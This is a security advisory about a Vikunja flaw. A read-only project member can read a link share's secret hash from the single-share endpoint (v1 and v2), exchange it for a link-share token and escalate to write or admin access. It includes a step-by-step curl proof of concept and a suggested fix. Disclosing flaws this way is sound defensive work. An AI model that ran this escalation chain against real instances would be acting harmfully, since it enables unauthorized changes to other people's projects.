CVE-2026-91985: Vikunja: Read-only project members can obtain any link share's access hash via the single-share read endpoint (v1 and v2) and escalate to the share's permission level

## Summary A user who has only read permission on a project can call the single link-share read endpoint and receive the share's `hash` field — the secret credential that the anonymous `POST /shares/{share}/auth` endpoint exchanges for a link-share JWT carrying the share's permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint's gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too. ## Details Affected endpoints (both verified with a complete chain): - v1: `GET /api/v1/projects/{project}/shares/{share}` - v2: `GET /api/v2/projects/{project}/shares/{share}` Permission gate: `LinkSharing.CanRead` (`pkg/models/link_sharing_permissions.go`) delegates to `project.CanRead(s, a)` — i.e. any user with read access to the project passes. The response serializes the `hash` field (`pkg/models/link_sharing.go`, field tag `json:"hash"`), which is the share's bearer credential. The share `password` field is correctly cleared before returning, but the hash is not restricted. Inconsistent with the sibling list endpoint `GET /projects/{project}/shares` (`LinkSharing.ReadAll`, `pkg/models/link_sharing.go:243-256`), which requires `project.IsAdmin` — the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 `handler.DoReadOne` wrappers call the same `CanRead`), so both surfaces are affected. Impact chain: hash -> `POST /api/v1/shares/{hash}/auth` (unauthenticated by design) -> link-share JWT at the share's permission level -> full API access at that level for that project. Mitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharing_type=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members. ## PoC Steps below use two accounts: the owner (token `$OWNER`) and an attacker who has been granted read-only access to the project (token `$READER`). All requests were executed against a local Vikunja 2.5.0 instance. 1. Owner creates a private project and a read-write link share (permission=1): ``` curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"title":"poc"}' # -> {"id":123,...} curl -X PUT "$BASE/api/v1/projects/123/shares" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"name":"poc","permission":1}' # -> {"id":7,"hash":"<SECRET_HASH>",...} ``` 2. Owner adds the attacker as a read-only member (permission=0): ``` curl -X PUT "$BASE/api/v1/projects/123/users" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"username":"attacker","permission":0}' ``` 3. Attacker reads the single share — the weak gate — and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here): ``` curl "$BASE/api/v1/projects/123/shares/7" -H "Authorization: Bearer $READER" # -> 200 {"id":7,"hash":"<SECRET_HASH>","permission":1,...} # v2 twin behaves identically: curl "$BASE/api/v2/projects/123/shares/7" -H "Authorization: Bearer $READER" # -> 200 {"hash":"<SECRET_HASH>",...} ``` 4. Attacker exchanges the hash for a link-share JWT (no authentication required): ``` curl -X POST "$BASE/api/v1/shares/<SECRET_HASH>/auth" \ -H 'Content-Type: application/json' -d '{}' # -> 200 {"token":"<LINK_JWT>",...} ``` 5. Negative control — the attacker's own user token cannot write to the project: ``` curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer $READER" \ -H 'Content-Type: application/json' -d '{"title":"direct"}' # -> 403 Forbidden ``` 6. Escalation proof — the link-share JWT writes successfully: ``` curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer <LINK_JWT>" \ -H 'Content-Type: application/json' -d '{"title":"escalated"}' # -> 201 Created ``` Observed result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 — the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available). ## Impact Broken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project that has a link share can escalate to that share's permission level: write members' tasks/comments can be created and modified; an admin-level share additionally grants project settings and share management for the project. Confidentiality is also affected insofar as the hash itself is the project's shared secret. Suggested fix: require `project.IsAdmin` in `LinkSharing.CanRead` (aligning with `ReadAll`), or omit the `hash` field from responses to non-admin members.